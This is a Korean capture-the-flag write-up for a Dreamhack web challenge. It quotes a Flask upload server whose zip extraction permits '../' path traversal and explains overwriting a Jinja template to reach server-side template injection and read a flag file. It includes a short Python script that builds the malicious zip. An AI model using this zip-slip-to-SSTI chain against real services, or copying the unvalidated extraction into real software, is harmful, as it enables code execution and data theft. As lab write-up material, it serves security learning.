[Dreamhack] 거북이

😁 문제 설명

  • 집 앞에서 거북이를 주워 어항에 넣어두었는데, 다음 날 보니 사라졌습니다. “어항이 높은데… 대체 어떻게 빠져나간 거지?”


✏️ 풀이

문제에 접속하면 파일 업로드 기능이 존재한다.

image-20250822161936863


아래 소스 코드를 보면 파일을 업로드할 때 /uploads 경로로 파일이 업로드된다. 파일은 /uploads 경로에 숫자로 업로드되고 zip로 업로드하면 경로가 포함되면 /uploads/~~/test.html 이런식으로 업로드 되는 것 같다.

app = Flask(__name__)
UPLOAD_DIR = Path("./uploads").resolve()
UPLOAD_DIR.mkdir(parents=True, exist_ok=True)
count = 1

@app.route("/", methods=["GET"])
def main():   
    return render_template('upload.html')
    
@app.route("/upload", methods=["POST"])
def upload():
    global count
    if "file" not in request.files:
        return jsonify(ok=False, error="no file"), 400

    f = request.files["file"]
    if f.filename == "":
        return jsonify(ok=False, error="empty filename"), 400

    if (f.filename or "").lower().endswith(".zip") or "zip" in (f.content_type or "").lower():
        data = f.read()
        zf = zipfile.ZipFile(io.BytesIO(data))
        names = []
        for info in zf.infolist():
            target = UPLOAD_DIR / info.filename
            if info.is_dir():
                target.mkdir(parents=True, exist_ok=True)
            else:
                target.parent.mkdir(parents=True, exist_ok=True)
                with zf.open(info) as src, open(target, "wb") as dst:
                    shutil.copyfileobj(src, dst)
            names.append(info.filename)
        return jsonify(ok=True, saved=names)
    
    ext = Path(f.filename).suffix.lower()
    file_name = f"{count}{ext}" if ext else f"{count}"
    count += 1
    
    out = UPLOAD_DIR / file_name
    out.parent.mkdir(parents=True, exist_ok=True)
    f.save(out)
    return jsonify(ok=True, saved=str(file_name))    
    
@app.route("/test.html", methods=["GET"])
def test_page():
    return render_template("test.html")
    
@app.route("/uploads/<path:filename>")
def serve_uploads(filename):
    return send_from_directory(UPLOAD_DIR, filename, as_attachment=False)
    
app.config.update(PROPAGATE_EXCEPTIONS=False)

@app.errorhandler(Exception)
def _all_errors_to_400(e):
    return jsonify(ok=False, error="bad request"), 400

@app.errorhandler(HTTPException)
def _http_errors_to_400(e):
    return jsonify(ok=False, error="bad request"), 400
    
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)


업로드할 때 아래 소스 코드를 보면 zip를 업로드할 때 파일 안의 이름에 대해서 검증을 제대로 하지 않아서 ../ 를 사용할 수 있다는 것을 알 수 있다.

    if (f.filename or "").lower().endswith(".zip") or "zip" in (f.content_type or "").lower():
        data = f.read()
        zf = zipfile.ZipFile(io.BytesIO(data))
        names = []
        for info in zf.infolist():
            target = UPLOAD_DIR / info.filename
            if info.is_dir():
                target.mkdir(parents=True, exist_ok=True)
            else:
                target.parent.mkdir(parents=True, exist_ok=True)
                with zf.open(info) as src, open(target, "wb") as dst:
                    shutil.copyfileobj(src, dst)
            names.append(info.filename)
        return jsonify(ok=True, saved=names)


Dockerfile을 봤을때 flag.txt를 /flag에 저장하였고, jinja SSTI로 flag를 읽기 위해서는 render_template 함수를 사용하는 곳이 test.html 밖에 없기 때문에 이를 덮어야 한다.

@app.route("/test.html", methods=["GET"])
def test_page():
    return render_template("test.html")


/test.html을 덮어쓰기 위해서 ../로 /uploads 경로를 탈출하고 /templates/test.html 파일을 덮을 수 있다. flag는 /flag에 위치해 있기 때문에 SSTI payload가 포함된 test.html을 zip로 압축해 업로드하면 된다.

import zipfile

payload = ""
target = "../templates/test.html"

with zipfile.ZipFile("exploit.zip", "w", zipfile.ZIP_DEFLATED) as z:
    z.writestr(target, payload)

image-20250826202926292

댓글남기기